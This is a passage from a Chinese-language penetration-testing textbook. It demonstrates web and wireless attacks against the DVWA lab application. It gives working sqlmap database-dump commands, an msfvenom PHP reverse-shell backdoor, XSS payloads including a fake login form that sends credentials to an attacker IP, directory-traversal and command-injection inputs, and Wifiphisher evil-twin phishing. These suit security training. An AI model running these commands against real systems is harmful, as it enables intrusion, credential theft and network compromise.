Sqlmap 是一个默认包含在 Kali Linux 中的开源工具。它用于自动检测和利用 SQL 注入漏洞,以及接管 Web 应用程序的数据库。它利用了一系列选项,允许指纹识别、数据访问、执行等。
sqlmap
的语法是sqlmap <options>
。
sqlmap
的特点如下:
-
支持多种 SQL 产品,如 MySQL、PostgreSQL、Microsoft SQL、Oracle 和 SQLite。
-
它支持 SQL 注入技术,如布尔盲注、基于时间的盲注、堆叠查询、基于错误的注入、UNION 查询和带外带。
-
它有能力枚举用户、密码哈希、权限等。
-
它有能力识别密码哈希的类型,并支持使用字典攻击来破解它。
-
它有能力与数据库的底层操作系统进行交互。这可以用于下载或上传文件,使用交互式命令提示符或 Meterpreter 会话创建反向 shell,或执行命令。
-
它支持将整个数据库或其中的特定部分,如特定列或一系列条目或字符,导出为文件。
-
它有能力利用 Meterpreter
getsystem
命令进行权限提升。
现在我们已经简要概述了 Sqlmap,让我们看看这个工具的实际操作。我们将使用这个工具对内置在 Metasploitable 2 中的Damn Vulnerable Web Application(DVWA)执行一些攻击。
使用 Sqlmap 执行攻击
让我们看看如何使用 Sqlmap 对默认安装在 Metasploitable 2 中的 DVWA 执行各种攻击。
信息收集
我们将首先进行一些信息收集。在执行任何攻击之前,让我们看看我们可以获得什么信息:
- 在 Kali Linux 中使用 Firefox ESR,导航到您的 Metasploitable 2 IP 虚拟机的 IP 地址。点击 DVWA,并使用以下凭据登录:
-
用户名:
admin
-
密码:
password
- 在左侧导航窗格上点击 DVWA Security,并在脚本安全下选择低。然后,点击提交:
图 5:将 DVWA 安全级别设置为低
-
接下来,点击 SQL 注入,并在用户 ID 字段中输入数字 1。在点击提交之前,请确保您已启用 Burp Suite 代理,并且您的浏览器已配置为使用 Burp Suite 代理。一旦代理启用,点击提交。
-
注意被拦截的字段。我们对
cookie
和PHPSESSID
感兴趣*😗。
图 6:DVWA SQLi 拦截
- 我们将首先尝试使用
--dbs
选项枚举所有数据库。为此,我们将使用我们捕获的cookie
和PHPSESSID
值。我们将使用的命令如下:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" --dbs
在这个命令中,我们使用-u
参数定义目标 URL。这个 URL 是 DVWA Web 服务器(Metasploitable 2)的 IP 地址,带有GET
请求(/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
)。我们指定cookie
和PHPSESSID
值,并使用--dbs
选项列出所有数据库。
注意以下输出。Sqlmap 能够识别数据库,并询问我们是否要继续测试其他数据库:
图 7:Sqlmap 数据库识别
- 我们将选择Y跳过特定于其他 DMBS 的测试有效负载,N用于之后提示的问题。一旦
sqlmap
完成,它将为您提供一些有价值的信息。在这里,我们已经确定了一些注入点,有关底层操作系统的信息,以及存在的数据库名称:
图 8:具有有价值信息的 Sqlmap 输出
我们可以使用-f
选项来对数据库进行指纹识别,如下所示:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -f
我们得到以下输出:
图 9:确定软件版本
现在我们已经获得了与 DVWA 相关的信息,让我们进一步进行一些额外的攻击。
从 SQL 表中转储用户详细信息
我们将执行的下一个攻击是从 SQL 数据库中获取用户信息。为此,我们将针对dvwa
数据库。让我们开始吧:
- 使用以下命令获取 DB 中的当前表:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -D dvwa --columns
在这个命令中,我们正在寻找与dvwa
数据库(-D dvwa
)相关的列(--columns
)。请注意,在输出中,我们有一个有趣的表,列出为users
,列如firstname
,lastname
,userid
和password
:
图 10:dvwa
数据库中用户表的列
现在我们已经确定了一个有趣的表,让我们继续转储表,看看我们是否能够使用字典攻击破解哈希。
- 通过以下命令,我们将转储所有表的表条目:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -D dvwa --dump
在这个命令中,我们使用--dump
选项来查看dvwa
数据库中所有表的所有条目。当命令运行时,sqlmap
将询问是否应该使用字典攻击来尝试破解密码。选择yes
选项,sqlmap
将提示输入字典文件。对于这个演示来说,使用内置的字典文件就足够了。注意输出;您将看到我们已经转储的用户表,以及其中所有的详细信息,包括每个用户的密码的哈希形式和明文形式:
图 11:使用 Sqlmap 转储的用户详细信息
在本节中,我们已经看到了 Sqlmap 的有效性。使用这个工具可以在渗透测试中有时间限制时自动化一些攻击。我们特别看了如何进行信息收集,枚举表格和提取用户凭据。Sqlmap 还有很多其他功能,所以它是您渗透测试工具包中必不可少的工具。
使用 PHP 创建后门
让我们看看如何使用恶意的php
文件来创建一个对 web 应用程序的基础操作系统的后门。在这里,我们将使用 DVWA,因为它允许我们上传文件。
确保 DVWA 的安全级别设置为低。默认的用户名是admin
,密码是password
。
我们将使用 MSFvenom 创建一个 PHP 文件,该文件将为我们提供一个反向 shell。用于监听连接的处理程序将在 Metasploit 中设置。步骤如下所示:
- 在 Kali Linux 的终端窗口中,输入以下命令创建一个恶意的 PHP 后门:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Attacker IP Address> LPORT=<Port to connect to> -f raw > msfv-shell.php
在这个命令中,我们将 payload(-p
)定义为php/meterpreter_reverse_tcp
,然后我们定义攻击机器的 IP 地址(LHOST
)和反向 shell 将建立的端口(LPORT
)。我们不使用任何编码器;我们只想要原始的php
文件(-f raw
)。文件名应该是msfv-shell.php
(> msfv-shell.php
)。
- 生成 PHP 文件后,我们将把它上传到 DVWA。登录到 DVWA,然后导航到左侧的上传部分。点击浏览…,然后导航到创建
msfv-shell.php
文件的位置。然后,选择它。文件上传后,注意上传的位置:
图 12:上传了 MSFVenom 恶意 PHP 文件
-
在连接到上传的 PHP 页面的位置之前,我们需要在 Metasploit 中设置一个处理程序。为此,我们将使用
msfconsole
命令打开 Metasploit Framework。 -
Metasploit Framework 加载后,我们将使用以下命令创建处理程序:
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit
- 处理程序创建后,我们可以导航到上传位置,然后点击 msfv-shell.php 文件:
图 13:访问恶意的 PHP 文件
- 一旦文件被访问,在 Metasploit 控制台上,你将拥有一个 Meterpreter 会话:
图 14:建立反向 Meterpreter shell
从这里,你可以选择进入系统 shell,上传/下载文件等。
执行 XSS 攻击
在这里,我们将使用 DVWA 并查看如何执行反射型和存储型 XSS 攻击。我们将保持 DVWA 的安全级别设置为低。
执行反射型 XSS 攻击
在这种情况下,我们将执行反射型 XSS 攻击。在这种攻击中,我们将向 Web 应用程序发送一个请求,迫使它显示一些敏感信息。我们将按照以下方式执行攻击:
-
登录到 DVWA 并点击 XSS Reflected。这个页面的默认操作是简单地
echo
你放入字段中的任何输入。因此,我们将尝试强制应用程序为我们提供诸如cookie
和PHPSESSID
之类的信息。 -
在“你叫什么名字?”字段中,我们将输入一个简单的脚本,它将为我们提供我们正在寻找的
cookie
和PHPSESSID
数据。输入以下命令:
<script>alert(document.cookie);</script>
在这个脚本中,我们告诉 Web 应用程序通过提供弹出窗口来警报我们。在这里,我们调用document.cookie
,它将提供当前的cookie
和PHPSESSID
值。注意输出;我们现在有了我们想要的cookie
和PHPSESSID
值:
图 15:使用反射型 XSS 提供敏感数据
现在我们已经获得了所有必需的细节,我们将尝试在这个页面中注入一个表单,以欺骗用户输入他们的凭据。我们还将强制 Web 应用程序将输出发送到其他地方,而不是在屏幕上弹出:
-
在 Kali Linux 中打开一个终端窗口。我们将使用
nc -lvp 80
命令在端口80
上创建一个netcat
简单的 Web 服务器。在这个命令中,我们使用nc
命令启动netcat
。-l
开关用于启用监听模式,v
用于详细输出,p
定义我们将监听的端口号。一旦命令被执行,netcat
将监听连接。 -
在相同的 XSS Reflected 页面上,输入以下脚本:
<h3>Please login to proceed</h3> <form action=http://192.168.34.153>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
在这个脚本中,我们创建了一个简单的表单,要求输入username
和password
。注意form action=
字段。在这里,我们使用了攻击者 PC(Kali Linux)的 IP 地址,我们在那里启动了netcat
监听器。
- 现在,一个表单被显示出来。输入一个随机的
username
和password
,然后点击 Logon:
图 16:使用 XSS 注入恶意表单
一旦你点击 Logon,看一下你在启动netcat
监听器的终端上的输出。Web 应用程序已经将登录请求发送到我们的监听器,并且凭据以明文形式可见:
图 17:在 netcat 监听器上捕获的登录请求
通过利用反射型 XSS 可以进行许多其他攻击,但关键是这种漏洞的严重性。正如我们所看到的,可能获取敏感数据,这可能对任何具有易受攻击的 Web 应用程序的组织造成损害。
执行存储型 XSS 攻击
让我们看看如何执行存储型 XSS 攻击。在这里,我们将使用 DVWA 的 XSS Stored 部分。我们将尝试再次获取cookie
和PHPSESSID
:
-
登录到 DVWA 并点击 XSS stored。在这里,我们有一个人们可以签名的留言簿。我们将尝试在消息字段中输入一些代码。
-
为名称输入任何值,然后使用我们之前使用的相同脚本:
<script>alert(document.cookie);</script>
- 一旦你点击“Sign guestboo”,
cookie
和PHPSESSID
的详细信息将被显示:
图 18:使用存储的 XSS 提供敏感数据
由于这是存储的 XSS 攻击,如果您导航到 DVWA Web 应用程序的另一部分并返回到 XSS 存储,弹出窗口将自动出现,因为恶意脚本存储在数据库中。
执行文件包含攻击
让我们执行本地和远程文件包含攻击。这两种攻击都将在 DVWA 上进行,我们将保持 DVWA 的安全级别设置为低。
对于 LFI 攻击,我们将尝试在 Web 服务器上浏览本地文件。在 Linux 操作系统上存在的有价值的文件是/etc/passwd
文件。让我们开始:
-
一旦我们登录到 DWVA,点击左侧的文件包含。
-
让我们尝试导航到
/etc/passwd
文件。由于我们不知道 Web 应用程序正在操作的本地工作目录是什么,我们将使用一系列字符来执行目录遍历。在地址栏中,在?page=
后添加../../../../../etc/passwd
,如下面的屏幕截图所示。在目录遍历中使用../
用于返回到上一个目录。这里需要进行实验,因为您可能不知道服务器的目录结构中目标 Web 应用程序的位置:
图 19:使用 LFI 进行目录遍历
- 一旦您按下Enter,您将获得大量输出。在输出中,您将找到
/etc/passwd
文件的内容:
图 20:暴露的/etc/passwd 文件内容
通过使用 LFI 攻击,您可以做的不仅仅是暴露系统文件。您还可以上传文件到 Web 服务器并启动反向 shell。
执行命令执行攻击
我们将使用 DVWA 并查看如何执行命令执行攻击。我们将保持 DVWA 的安全级别设置为低:
-
登录到 DVWA 应用程序,然后单击左侧的命令执行。
-
让我们尝试执行一个简单的命令,比如列出当前目录。由于表单需要 IP 地址,我们将定义一个 IP,但使用附加命令使用附加字符
&&
。为了列出目录,我们将使用-ls -la
。完整的注释将是192.168.34.153 && ls -la
。
在这个命令中,我们正在定义一个随机 IP(我正在使用我的 Kali 虚拟机的 IP)并使用&&
附加一个额外的命令。这个命令正在列出ls
目录。我们可以通过使用长列表-l
查看这些文件,并包括所有文件a
。这是我们收到的输出:
图 21:命令执行攻击
在这里,我们有实际的 ping 命令,但在底部,我们有当前目录的列表。现在,我们知道命令执行是可能的。让我们看看是否可以使用 Metasploit 获得远程 shell。
-
从终端窗口,我们将使用
msfconsole
命令启动 Metasploit 框架。 -
我们将使用脚本交付利用。输入
use exploit/multi/script/web_delivery
命令,然后show options
查看可用选项:
图 22:在 Metasploit 中加载利用
- 现在,我们需要定义目标。通过使用
show targets
命令,我们可以看到这个利用将适用于哪些目标。在我们的情况下,我们将使用PHP
:
图 23:利用可用的目标
- 现在,我们将配置利用。设置以下选项:
set Target 1
set LHOST 192.168.34.153
set LPORT 1337
set payload php/meterpreter/reverse_tcp
请记住,LHOST
是您的 Kali 虚拟机 IP,LPORT
可以是任意随机端口号。我们使用的有效载荷是反向 TCP meterpreter
shell。您可以使用show options
命令确认您的选项:
图 24:配置利用选项
- 配置这些选项后,使用
run
命令运行利用。注意输出。突出显示的代码是我们将在命令执行攻击中使用的,用于将反向 shell 生成到我们的攻击系统。复制该代码,并且不要关闭终端窗口或退出 Metasploit:
图 25:使用反向 PHP 脚本定义的利用正在运行
- 返回到 DVWA 中的命令执行页面。现在,输入一个 IP 地址,并使用
&&
和 Metasploit 生成的代码进行追加:
图 26:使用命令执行攻击运行恶意脚本
一旦您点击提交,您将启动一个meterpreter
会话。返回到您配置利用的终端窗口。
- 您现在会看到您已经启动并运行了
meterpreter
会话。按下Enter将带您返回到利用配置页面,但您的会话仍将保持建立状态。您可以使用sessions -i
命令来检查这一点。要访问此会话,请使用sessions -i [会话 ID]
命令:
图 27:Meterpreter 会话已建立
- 从这里开始,您将能够利用 Meterpreter 的全部功能。您可以使用
shell
命令访问操作系统 shell。从这里,您将能够进一步发动攻击:
图 28:访问操作系统 shell
正如我们所见,通过这次攻击,您有许多选项可用于进一步利用。使用 Metasploit Framework 等工具可以轻松利用命令执行漏洞。
总结
在本章中,您已经了解了 Web 应用程序及其架构,以及它们的组件。您已经了解了不同类型的 Web 应用程序测试,我们专门关注了渗透测试。您深入了解了 HTTP 协议以及请求和响应头中的详细信息。最后,您学习了各种 Web 应用程序攻击以及如何在测试环境中执行它们。
在第九章中,开始无线攻击,我们将讨论无线架构、它们的攻击以及如何执行它们。
问题
-
列举三种 Web 应用程序架构中的一种。
-
HTTP 和 HTTPS 之间有什么区别?
-
在 HTTP 响应头中可以操纵什么来执行 XSS 攻击?
-
列举两种 Web 应用程序攻击类型。
-
什么工具可以用来创建 PHP 后门有效负载?
第九章:开始无线攻击
无线行业继续增长,无线设备的数量不断增加。一般家庭拥有访问点、媒体中心、电话、游戏机、个人电脑,甚至安全系统。企业依赖无线网络以提高员工在公司内外自由移动的便利性。能够自由访问网络的缺点是,它使网络容易受到漏洞的攻击。因此,公司识别和修复无线网络中的漏洞是很重要的。
在本章中,您将学习无线攻击以及如何执行它们。我们将讨论无线数据包的各个组成部分,比如信标帧,以及数据包中包含的内容。您将了解可以用于无线数据包注入和监视的无线适配器的类型。我们将深入探讨可以用于执行不同攻击的各种工具。最后,您将学习如何破解各种无线加密协议。
随着本章的进行,您将学习以下主题:
-
探索无线攻击
-
兼容的硬件
-
无线攻击工具
-
破解 WPA/WPA2 和 WEP
技术要求
本章需要以下技术要求:
-
Kali Linux 2019.1
-
兼容数据包注入的网络适配卡
-
支持 WPA/WPA2 和 WEP 的无线路由器
探索无线攻击
无线网络从一个“好有”发展到组织中的一个“必须有”的需求。无线网络几乎无处不在。例如,您可能在家里运行无线网络以便接入互联网。这种接入可以让移动电话、智能电视、媒体播放器、游戏机、平板电脑和个人电脑随时连接到互联网。您的邻居可能也有类似的设置。
在企业中,无线网络是一个强大的工具,可以提高生产力并促进信息交流。员工可以自由漫游,并且无线网络提供了简单性、易用性、方便性和客人的网络访问,以及在难以到达的区域的网络访问。
遗憾的是,无线设备通常缺乏安全性,这导致了严重的漏洞。公司通常没有对无线设备进行安全配置,甚至有些公司可能会使用默认配置的无线设备。
了解无线网络的工作原理,以及各种加密算法和对无线网络的攻击,如果您想进行成功的渗透测试,这是至关重要的。
无线网络架构
在对无线网络进行盲目的渗透测试之前,了解无线网络的架构是很重要的。这将帮助您对不同的模式有一个很好的理解,并且从渗透测试的角度来看,了解哪些类型的无线帧是重要的。
无线网络有两种主要模式:
-
基础设施模式
-
点对点模式
在这两种模式中,有一个称为服务集标识(SSID)的共同组件,这是网络验证所必需的。在基础设施模式下,SSID 由访问点(AP)设置。在点对点模式下,SSID 由创建网络的站点设置。
在基础设施模式中,至少应该有一个访问点和一个站点。这两者组成了一个基本服务集(BSS)。当两个或更多访问点连接到相同的 IP 子网或虚拟局域网(VLAN)时,形成了扩展服务集(ESS),从而创建了一个单一的逻辑网络段。
在自组网模式中,当两个或更多站点开始在没有访问点的情况下进行通信时,将创建独立基本服务集(IBSS)。这种模式可以称为点对点模式。其中一个站点将自行处理访问点处理的责任,例如信标和认证新客户端。
无线帧
在无线网络中,通信是使用帧进行的。在无线帧中,前两个字节属于一个称为帧控制的组件。在这个帧控制帧内,我们有多个字段,其具有各种位大小。值得注意的是类型
字段。
类型
字段包含以下类别的帧:
-
管理帧:这些负责保持站点和访问点之间的通信。这些帧的一些子类型包括认证、去认证、关联、信标、探测请求和探测响应。
-
控制帧:这些负责访问点和站点之间的数据交换。这里的一些子类型包括请求发送、准备发送和 ACK。
-
数据帧:这些帧携带实际数据。它们没有子类型。
我想深入研究以下帧,因为这些帧可以揭示一些关键信息。
值得注意的无线帧
信标帧是在无线网络中发送的最常见的数据包。这些通常发送得相当快,通常每秒几次。当然,这可以在各种无线访问点中进行控制。信标帧包含有用的信息,例如以下内容:
-
SSID 名称(除非关闭 SSID 广播)
-
访问点的 MAC 地址
-
安全功能(WPA2 密码,WPA,WEP,WPA 企业)
-
信标间隔
-
信道和信道宽度
-
国家
-
访问点支持的连接速度
图 1显示了信标帧中包含的内容。您会注意到间隔为 0.102400 [秒]。点号 1 显示该帧由一个 AP 发送,由于第二位未设置,这表示这不是一个自组网。点号 2 包含有关 SSID、支持的数据速率、信道宽度和国家信息的详细信息:
图 1:信标帧
应用的过滤器(wlan.fc.type_subtype==0x8
)是特定于信标帧的,因为它们是管理帧(帧零)和子类型 8 的一部分。
去认证帧用于取消与访问点当前关联的客户端。有许多原因会导致您强制客户端取消关联;例如,如果您想揭示隐藏的 SSID 或者想捕获 WPA/WPA2 握手。
图 2显示了一个去认证数据包的示例捕获:
图 2:去认证帧
请注意,定义的原因代码为class 3
表示站点正在离开或已离开独立基本服务集。这个去认证是使用 aireplay-ng 进行的。我们将在本章后面详细介绍这个工具。有许多原因代码,在表 1中我列出了常见的原因代码:
原因代码 | 描述 | 解释 |
---|---|---|
0 | 无原因代码 | 这是正常行为 |
1 | 未指明的原因 | 客户端目前已关联但不再被授权 |
2 | 先前的身份验证不再有效 | 客户端已关联但未经授权 |
3 | 离开去认证 | 站点已被取消认证,因为它正在离开 IBSS 或 ESS |
4 | 因不活动而取消关联 | 客户端会话已超时 |
5 | 关联 AP 繁忙 | 接入点当前繁忙,无法处理当前关联的客户端 |
6 | 非经过身份验证的站点的Class2 帧 | 客户端尝试在身份验证之前传输数据 |
7 | Class3 非关联站的帧 | 客户端在与接入点关联之前尝试传输数据 |
认证帧构成了认证过程。交换的认证帧数量各不相同;认证事务序列号负责跟踪认证过程,并且可以处理从1
到65535
的值。认证算法用于识别正在使用的认证类型。下面的示例捕获(图 3)显示正在使用开放认证:
图 3:认证帧
使用值0
表示正在使用开放认证。值1
表示正在使用共享密钥认证。
无线安全协议
随着无线技术的发展和广泛应用,无线技术的安全协议也得到了提升。
在无线安全中,密码只是一半的战斗。选择正确的加密级别同样重要,正确的选择将决定您的无线局域网是否容易被利用。大多数无线接入点为无线加密启用了三种标准之一:有线等效隐私(WEP),或Wi-Fi 保护访问(WPA或WPA2)。
在进行对无线网络进行渗透测试之前,我们需要检查今天存在的加密标准,并了解它们的漏洞。
WEP
WEP 是为了解决开放网络的问题而创建的,这些网络容易受到窃听,因为没有使用加密。它在创建时提供了合理程度的安全性。它使用Rivest Cipher 4(RC4)来加密流量,并使用 CRC32 校验和提供消息完整性。RC4 是对称密码,这意味着相同的密钥用于加密和解密数据。密码创建了一系列与明文进行异或运算的位,从而产生了加密数据。当然,可以通过简单地使用密钥流对加密数据进行异或运算来解密数据。
WEP 使用了 24 位的初始化向量(IV)。IV 用于确保加密的第一个明文数据块是随机的。这确保了如果相同的明文被加密,结果将是不同的密文。由于 IV 的大小较小,密钥重用的可能性很高,这使得破解加密变得容易。
2001 年,网络安全专家发现了 WEP 中的几个严重缺陷,导致业界普遍建议在商业和消费设备中淘汰 WEP 的使用。
WPA
基于 WEP 的缺陷,迫切需要为无线设备提供更多安全性。这就是 WPA 被引入的时候。WPA 引入了两种新的链路层加密协议;这些是临时密钥完整性协议(TKIP)和计数器模式与 CBC-MAC(CCMP)。
WPA 有两种模式:
-
WPA 个人:这使用预共享密钥进行认证,该密钥由网络中的所有对等体共享。
-
WPA 企业:利用 radius 服务器进行认证、授权和计费(AAA)的 802.1x 认证。
WPA 仍然使用 WEP 作为加密算法以支持向后兼容和旧硬件。然而,通过使用 TKIP,它解决了一些安全漏洞,具体包括以下内容:
-
256 位密钥
-
通过为每个数据包生成一个唯一密钥进行数据包密钥混合
-
自动传输更新的密钥
-
完整性检查
-
48 位 IV 大小和 IV 排序以减少重放攻击
Wi-Fi 保护访问版本 2(WPA2)
WPA2 作为 WPA 的继任者被引入。它使用更强大的高级加密标准(AES)算法。AES 由三个对称块密码组成,每个密码块为 128 位。块的加密和解密可以使用 128 位、192 位和 256 位密钥进行。AES 需要更多的计算能力,但随着无线设备的进步,性能问题只在旧硬件上普遍存在。
WPA2 使用计数器模式和密码块链接消息认证码协议(CCMP)。CCMP 通过只允许授权的设备或用户接收数据来提供数据机密性。密码块链接用于提供数据的完整性。
WPA2 与旧硬件不兼容,因为它是从头开始重新设计的。它支持 WPA 引入的个人和企业模式。
2017 年,宣布了一个严重的影响 WPA2 的漏洞。它被称为KRACK,代表密钥重新安装攻击。当攻击者欺骗目标重新安装已经使用的密钥时,就会发生密钥重新安装攻击。这可以通过操纵和重放 WPA2 的加密握手消息来实现。当安装此密钥时,参数(如 nonce(递增传输数据包编号)和重放计数器)被重置为其初始值。通过强制重用 nonce,数据包可以被重放、伪造和解密。
Wi-Fi 保护访问版本 3(WPA3)
WPA3,于 2018 年宣布,旨在成为广泛使用的 WPA2 的继任者,并带来了一些核心增强功能,以增强个人和企业网络的安全保护和程序。
WPA3 引入了一个不同的握手过程,称为对等的同时认证(SAE),也被称为Dragonfly密钥交换。加密由 AES-GCM 处理,WPA3 使用的会话密钥长度为企业模式为 192 位,个人模式为 128 位(192 位是可选的)。数据完整性由安全哈希算法 2(SHA2)处理。
即使对于没有密码的 Wi-Fi 网络,WPA3 安全性也提供了一种称为个人数据加密的数据保护机制。该机制使用单独的密钥加密每个设备的数据包,因此其他设备无法解密彼此的数据。
WPA3 听起来确实很安全;然而,出现了一个名为Dragonblood的漏洞。这个漏洞允许攻击者通过滥用时间或基于缓存的侧信道泄漏来恢复密码。
WPA3 不在本书的范围内,但了解新标准和其中存在的漏洞是值得的。
有关 WPA3 的更多信息,您可以访问 Wi-Fi 联盟网页:www.wi-fi.org/discover-wi-fi/security
。
无线攻击类型
让我们来看看存在的各种类型的无线攻击:
-
访问控制攻击:这些类型的攻击试图通过规避访问控制保护(如 MAC 过滤器或
802.1x
端口安全)来获取对无线网络的访问权限。一些访问控制攻击的例子如下: -
流氓接入点:这些是未经保护的接入点,用于在受信任的网络中创建后门。
-
MAC 地址欺骗:这种攻击试图欺骗已经获得授权的接入点或站点的 MAC 地址。
-
临时关联:这种类型的攻击试图通过临时模式直接连接到一个站点。这使得可以绕过接入点的安全性,因为可以攻击或使用该站点作为枢纽点。
-
机密性攻击:这些类型的攻击旨在拦截通过无线网络发送的流量。一些机密性攻击的例子如下:
-
邪恶的双子 AP:这是一个恶意接入点,伪装成合法的接入点,试图欺骗客户端对其进行认证。这可以用来窃取凭据或进行中间人攻击。
-
虚假门户:在这种攻击中,使用虚假的强制门户试图欺骗用户提供诸如预共享密钥、敏感信息或登录详细信息。
-
完整性攻击:这些类型的攻击利用伪造的帧来误导接收者。它们也可以用于执行拒绝服务攻击。一些完整性攻击的例子如下:
-
Radius 重放攻击:利用嗅探和拦截等技术,可以捕获和存储请求认证器、标识符和服务器响应。这些可以稍后用于恶意目的进行重放。
-
帧注入攻击:在这种攻击中,无线帧可以被操纵。例如,强制发出去认证帧,以迫使设备重新对接入点进行认证,以便捕获握手。
-
身份验证攻击:这些类型的攻击旨在窃取身份验证信息,这些信息可以用于访问资源或服务。一些身份验证攻击的例子如下:
-
WEP/WPA/WPA2 密钥破解:这种攻击涉及捕获认证握手并执行离线暴力破解以获取预共享密钥。
-
降级攻击:这些攻击可以针对
802.1x
,通过强制服务器使用伪造的 EAP 数据包提供更弱的认证。
兼容的硬件
拥有正确的硬件对于对无线网络进行渗透测试至关重要。并非所有无线适配器都能让您切换到监视模式或执行数据包注入。
监视模式允许无线适配器切换到混杂模式,以便监视数据包而不进行任何过滤。许多工具,如airodump-ng
和aireplay-ng
,需要将无线适配器置于监视模式才能运行。
无线适配器
选择合适的无线适配器可能会很棘手,特别是在当今存在许多选项的情况下。正确的适配器是根据您的需求而定的。您可能需要一个小巧的适配器或一个可以利用各种天线尺寸的适配器。这完全取决于您的偏好以及它是否适合您。
需要注意的一点是,无线适配器的传输功率和接收灵敏度应该考虑在内。例如,较低的灵敏度对于接收更好,但较高的功率对于数据传输更好。通常,只有在考虑范围时才会使用高功率适配器。
具有 Atheros、Realtek 或 Ralink 芯片组的无线适配器通常支持监视模式和数据包注入。但并非所有适配器都支持。互联网上有多篇评论和文章定期更新最新支持的硬件。在您喜欢的搜索引擎上快速搜索关键词,如“Kali Linux 兼容的无线适配器”,将为您提供丰富的结果。
最常用的无线适配器是 Alfa 无线适配器。这些适配器在亚马逊和其他供应商那里都可以找到,而且价格相对便宜。要小心假货,因为市场上有许多假货。我正在使用的无线适配器是 Alfa AWUSO36NH。该卡的传输功率为 2000 毫瓦。在撰写本文时,该适配器在亚马逊上的价格为 31.99 美元。由于一些网络使用 2.4 GHz 和 5 GHz 频率,您可能需要一个可以在两个频率上工作的无线适配器。Panda PAU09 在 Kali Linux 上运行良好,并支持 2.4 GHz 和 5 GHz 频率;在撰写本文时,该适配器在亚马逊上的价格为 39.99 美元。
重要的是要注意,一些无线网卡在 Kali Linux 中可以直接使用。有些需要编译驱动程序。有时,同一型号的微小修订版本会产生不同的结果。确保您对无线网卡进行彻底的研究。
2.4 GHz 和 5 GHz 频率之间的主要区别是范围。2.4 GHz 能够比 5 GHz 到达更远的距离。另外,2.4 GHz 受到的干扰比 5 GHz 多得多。2.4 GHz 中有更多的重叠信道,有三个不重叠的信道,而 5 GHz 有二十三个不重叠的信道。
一旦您有兼容的无线适配器,您可以通过执行以下操作将其设置为监控模式:
- 在 Kali Linux 中打开一个终端窗口,并发出
iwconfig
命令。注意您的无线网卡的接口名称(图 4)。在下面的示例中,无线适配器接口名称是wlan0
:
图 4:使用 iwconfig 识别无线适配器
- 在更改模式之前,关闭接口是一个好习惯。这可以通过使用
ifconfig wlan0 down
命令来完成。要将模式从托管更改为监控,使用iwconfig wlan0 mode monitor
命令。最后,使用ifconfig wlan0 up
命令将接口重新上线,如图 5所示:
图 5:将无线适配器设置为监控模式
现在无线适配器正在监控模式下运行(Mode:Monitor
)。要将接口切换回监控模式,请按照之前的步骤 2进行操作,但使用iwconfig wlan0 mode managed
。
使用airmon-ng
可以更快地启用监控模式;这将在下一节中介绍。
如果您使用的是支持 1000 mW 传输功率评级的 Alfa 无线网卡,根据您的位置,您的Tx-Power
可能设置为 20 dBm(如图 6所示)。要启用卡的全部功能,请按照以下步骤操作:
-
使用
ifconfig wlan0 down
命令关闭接口。Wlan0
是接口名称;在您的环境中可能会有所不同。 -
使用
iw reg set US
命令将区域设置为美国。 -
使用
ifconfig wlan0 up
命令将接口上线。 -
使用
iwconfig wlan0
命令检查功率评级:
图 6:增加 Alfa TX 功率
注意功率评级现在已经增加到30 dBm
(图 6)。每10 dBm
增加一次功率,以 mW 为单位增加 10 倍。
无线攻击工具
Kali Linux 包括一些内置工具,可用于攻击无线网络。我们将探讨各种工具及其用法。
请注意,随着您在本章的进展,您应该在自己的无线网络上执行攻击。
Wifiphisher
Wifiphisher 是一个出色的恶意访问点工具,可用于进行渗透测试或 Wi-Fi 安全测试。该工具通过对执行对接入点进行关联的无线客户端进行中间人攻击来工作。Wifiphisher 可以通过使用第三方登录页面进行定制,或者您可以创建自己的页面。
Wifiphisher 默认安装在 Kali Linux 中。可以使用wifiphisher
命令来运行它。请注意,wifiphisher
需要roguehostapd
,但是您可以使用 Kali 中安装的hostapd
。要使用hostapd
,您可以运行wifiphisher --force-hostapd
命令。
让我们使用wifiphisher
的内置钓鱼页面执行一个简单的钓鱼活动。记得将您的无线适配器设置为监控模式:
- 从 Kali 终端窗口运行
wifiphisher --force-hostapd
命令。您将看到wifiphisher
的主屏幕(图 7)。在这里,您将看到一个发现的无线网络列表。选择您想要创建一个恶意访问点的网络:
图 7:Wifiphisher 无线网络选择
- 一旦选择了网络,你将看到一系列可用的钓鱼场景。我选择了标准的“固件升级页面”,如图 8所示:
图 8:wifiphisher 的钓鱼场景
你可以构建自己的钓鱼场景,并利用互联网上提供的预构建自定义页面。这些页面需要存储在wifiphisher/data/phishingpages
目录中。
一旦你选择了页面,wifiphisher
将自动创建伪造的接入点,并开始去认证任何连接的客户端。
一旦用户再次尝试连接到无线网络,他们将看到您选择的钓鱼页面。在我的情况下,就像图 9中显示的固件升级页面一样:
图 9:固件升级钓鱼页面
一旦提供了预共享密钥,页面就会开始“升级固件”,但当然,实际上什么都没有发生。然而,在 Wifiphisher 终端上,我们有明文显示的捕获凭据,如图 10所示:
图 10:捕获的 PSK
在渗透测试中使用这个工具时,你需要让钓鱼页面令人信服。一些终端用户很懂技术,不会轻易上当一个简单的钓鱼页面。你还需要考虑,在企业 Wi-Fi 认证中使用他们的域凭据;在这种情况下,你需要创建一个巧妙的钓鱼页面,让它看起来像一个企业门户。
关于创建自定义钓鱼页面的更多信息可以在这里找到:wifiphisher.org/docs.html
。
Aircrack-ng 套件
Aircrack-ng 是预先安装在 Kali Linux 中的一套强大的工具。该套件包括以下类别的工具:
-
监控:执行数据包捕获,并提供将数据导出到文本文件以供第三方工具使用的能力
-
攻击:用于执行重放攻击、帧攻击(如去认证)等,使用数据包注入
-
测试:查看 Wi-Fi 适配器的功能,执行捕获和数据包注入
-
